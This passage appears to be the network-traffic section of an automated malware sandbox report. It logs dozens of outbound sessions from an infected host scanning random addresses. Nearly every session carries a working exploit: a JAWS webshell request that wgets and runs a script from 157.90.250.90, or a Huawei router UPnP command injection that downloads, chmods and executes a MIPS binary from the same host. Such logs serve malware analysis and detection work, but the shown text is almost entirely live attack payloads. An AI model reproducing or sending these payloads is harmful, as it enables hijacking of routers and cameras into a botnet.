HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	38366	156.41.220.188	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:47.622314930 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	34554	44.97.239.58	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.532780886 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	50084	141.23.106.58	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.533075094 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	54802	69.105.106.1	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.533349037 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	44002	93.134.211.187	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.533982992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	36578	53.119.123.13	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.608711958 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	57904	23.13.227.180	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.609553099 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	41946	108.128.143.21	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.610112906 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	38168	136.30.197.42	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.610702038 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	53804	46.29.80.182	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.611241102 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	51332	5.50.172.102	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.611862898 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	35632	217.15.168.25	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.612432003 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	56994	106.125.175.246	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.613019943 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	58950	213.10.8.153	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.613612890 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	49430	142.163.169.148	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.619438887 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	58412	191.107.11.36	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.627552032 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	58214	159.56.174.211	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.639434099 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	48852	76.65.219.244	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:48.647811890 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	35534	44.223.88.222	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.485599041 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	53878	219.159.129.91	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.486377001 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	42740	126.110.141.44	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.486924887 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	51992	44.100.34.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.487567902 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	50606	106.119.111.49	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.488245010 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	46196	59.87.238.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.488986015 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	36024	161.83.220.85	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.489536047 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	51966	115.64.13.91	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.490096092 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	50274	122.157.177.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.516793966 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	42718	200.134.217.200	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.517688990 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	59838	8.163.124.143	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.519242048 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	39452	150.32.225.133	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.521588087 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	41426	202.130.12.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.523818016 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	50074	178.167.225.20	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.526132107 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	35752	112.106.103.207	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.528286934 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	44360	156.101.171.54	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.529059887 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	42698	86.87.136.30	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.530257940 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	51504	120.125.222.84	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.531188011 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	52012	101.26.29.84	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.531867981 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	41702	86.199.183.40	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.532537937 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	37950	159.180.151.117	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.533227921 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	35558	159.216.106.173	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.533919096 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	54340	89.199.198.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.534621000 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	53678	13.77.179.192	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.535326958 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	59488	89.148.112.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.536058903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	55748	50.18.129.224	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.536691904 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	56390	201.216.93.118	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.537381887 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	35510	19.67.64.37	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.538028002 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	49242	156.47.9.159	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.538722038 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	42384	95.148.172.170	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.539407969 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	55882	70.48.67.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.540056944 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	45530	1.78.144.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.540761948 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	56374	163.247.225.173	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.541435003 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	57510	117.255.80.131	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.542081118 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	54544	137.84.118.55	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.542745113 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
